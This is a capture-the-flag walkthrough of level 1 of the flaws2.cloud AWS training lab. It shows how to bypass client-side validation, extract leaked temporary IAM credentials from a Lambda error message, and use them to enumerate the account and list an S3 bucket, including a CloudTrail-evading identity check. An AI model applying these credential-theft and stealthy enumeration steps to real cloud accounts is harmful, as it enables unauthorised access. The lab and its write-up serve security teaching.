4 minute read Published:

Level 1

Explore the application

Submit a valid PIN. IMG 01

Submit invalid PIN -> you get a Javascript error (client-side). What will the server do if you submit this? IMG 02

Do do that quickly, locate the validation. Check out the page (curl http://level1.flaws2.cloud/index.htm), it is just inline JS:

<!DOCTYPE html>
<html lang="en">
    <script type="text/javascript">
        function validateForm() {
            var code = document.forms["myForm"]["code"].value;
            if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
                alert("Code must be a number");
                return false;
    <form name="myForm" action="https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1" onsubmit="return validateForm()">
        Code: <input type="text" name="code" value="1234">
        <input type="submit" value="Submit">

In the HTML code you can see that the form will submit data to AWS. The URL indicates that the functionality is hosted behind API gateway (Lambda?). For now only the onsubmit function is relevant. The browser executes validateForm(), which was defined above the form as inline JS. We can see that data that can be parsed into a number is allowed.

Submit invalid data

To change it just rewrite the function. We want function validateForm() { return true; } so that any data will pass. Put this into your developer console and hit enter: IMG 03.

Now you get some interesting output: IMG 04

You can also get the output in your console with this request: curl -s https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=abc | tail -n -1 | jq

The output is as follows:

  "PATH": "/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
  "LD_LIBRARY_PATH": "/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
  "LANG": "en_US.UTF-8",
  "TZ": ":UTC",
  "LAMBDA_TASK_ROOT": "/var/task",
  "LAMBDA_RUNTIME_DIR": "/var/runtime",
  "AWS_REGION": "us-east-1",
  "AWS_DEFAULT_REGION": "us-east-1",
  "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/level1",
  "AWS_LAMBDA_LOG_STREAM_NAME": "2019/11/20/[$LATEST]4cf25aac692c4bddb1adea113b687bed",
  "_AWS_XRAY_DAEMON_PORT": "2000",
  "_X_AMZN_TRACE_ID": "Root=1-5dd575c1-5c8474644a8d10ff8f61a7bd;Parent=1228751e55f1a6c6;Sampled=0",
  "AWS_EXECUTION_ENV": "AWS_Lambda_nodejs8.10",
  "_HANDLER": "index.handler",
  "NODE_PATH": "/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules",
  "AWS_SESSION_TOKEN": "IQoJb3JpZ2luX2VjELH//////////wEaCXVzLWVhc3QtMSJGMEQCIG9DBkunq6KzhwqPlvwxn6ML9NT0AovQ1+KPWRFvjNswAiAf9/NxtygFGTe+dJ80L9eS8GbCpLsufF2viUysJIKrrSrOAQjZ//////////8BEAEaDDY1MzcxMTMzMTc4OCIMT3SZV7Arxe137ZllKqIBeF/aO78SncfAhIsy3iehEsQomtGL1l+eD+qgivxd+6OTZhHV7hUlv0luFBcFMYYzaIajAxuWJWldGYUiARaI1YaqTisnY32dxsNC7WdHs/9Op6Rc1eImhgih66zzBDfNrIY+OdpGHLvS8X+uUuulvjPy5pF51oa/zt1At0MyPBLFQjH1317l+ADel9bp+M8nWjEHogbf2SwTnNdxZMDyJ5QyMJDI1e4FOuEBytAthIvfI0DOYdt998UwHgPqAK5SwSOYmts7/rVK6S6B5L6WxSPpqSx8Dx+UcfM2TMqGWw9vuamLcT3rJAU4oVuGsVcdWPMAGQP/Bm4ZwjZPEjQFYEOk9MOZkyCJW5Brt0RV7M/CAtcDQ6K4uV7r6Mn1Fp8fzPIseXSjmAMaVlef3ID8cSrGudiNHjzRsjmMlF5AeE/XIMaVJ/upUZp8HTzyqmb5zroFv14fcBCbKdC3+XwuSmG8YawhUXbwQBfywl/4tavUMtJ3NaOW0D4pwPypN726b5fu53+otCVdpgBU"

Whooo, this is quite a verbose error message. It looks a lot like the API indeed runs in AWS Lambda. The _HANDLER env var indicates the lambda handler. NODE_PATH suggests it is written in Node.js. Also: "AWS_EXECUTION_ENV": "AWS_Lambda_nodejs8.10".

Most importantly, we find the temporary IAM credentials for the lambda. Source them into your shell and you are good to go for enumeration:

 # export AWS_SECRET_ACCESS_KEY=6eIXCPRIC6rfUvxT6iZEKyq0zi/9V9wsexPtDJNP
 # export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjELH//////////wEaCXVzLWVhc3QtMSJGMEQCIG9DBkunq6KzhwqPlvwxn6ML9NT0AovQ1+KPWRFvjNswAiAf9/NxtygFGTe+dJ80L9eS8GbCpLsu

Confirm your identity with the AWS whoami:

 # aws sts get-caller-identity
    "Account": "653711331788",
    "Arn": "arn:aws:sts::653711331788:assumed-role/level1/level1"

Instead we could also use the info leak from a service not supporting CloudTrail to confirm the identity in a stealthy way. The list is here and at the time of writing AWS Connect is not supported. We can make a request and the error will tell us who we are and that we are not allowed to do it:

 # aws connect list-users --instance-id anything

An error occurred (AccessDeniedException) when calling the ListUsers operation: User: arn:aws:sts::653711331788:assumed-role/level1/level1 is not authorized to perform: connect:ListUsers on resource: arn:aws:connect:us-east-1:653711331788:instance/anything

We get the same output. Note that both ways leaked the AWS account ID “653711331788”. Note it down since we will need it later for other levels.

Enumerate with credentials

From the URL of API gateway we know the region we use below should always be us-east-1. Set it by default with export AWS_DEFAULT_REGION=us-east-1.

We want to know the PIN so anything that gets us closer to the Lambdas source code is good:

  • Can we list lambdas? –> aws lambda list-functions –> no :(
  • Can we know more about this specific Lamba, named level1 as we know from the error messages? –> aws lambda get-function --function-name level1 –> no
  • Can we at least write log messages into the stream that is configured? –> $ aws logs put-log-events --log-group-name '/aws/lambda/level1' --log-stream-name '2019/11/20/[$LATEST]4cf25aac692c4bddb1adea113b687bed' --log-events timestamp=1433190184356,message=hello-world –> no

Not even the last thing works, which is something the Lambda should actually be able to do. Maybe this is not it.

Lets find out more about the page. What runs the page, S3 maybe? Get the IP:

 # dig level1.flaws2.cloud ANY
level1.flaws2.cloud.    4       IN      A

Then check PTR:

 # dig -x
... 899 IN     PTR     s3-website-us-east-1.amazonaws.com.

So it is S3.

Lets list the bucket:

 # aws s3 ls s3://level1.flaws2.cloud
                           PRE img/
2018-11-20 21:55:05      17102 favicon.ico
2018-11-21 03:00:22       1905 hint1.htm
2018-11-21 03:00:22       2226 hint2.htm
2018-11-21 03:00:22       2536 hint3.htm
2018-11-21 03:00:23       2460 hint4.htm
2018-11-21 03:00:17       3000 index.htm
2018-11-21 03:00:17       1899 secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html

This is all we need… Strange, since the level description mentioned nothing. Indeed we check out hint 4 we find the PIN:

 $ curl -s http://level1.flaws2.cloud/hint4.htm | grep PIN
            <p>Not that it matters, and you wouldn't be able to find it anyway, but the correct PIN is <tt>2655422448894239998663248672866499665886429463578833452866744743685543463822468584853334496394632499</tt>

The flaw

Client-side validation

Application did not handle errors appropriately. Nobody notices since client-side validation means no ordinary user ever triggers the bug.

Verbose error messages

There should not be environment variables in error messages outside of development stages.

Least privilege

The application should not be able to access the bucket.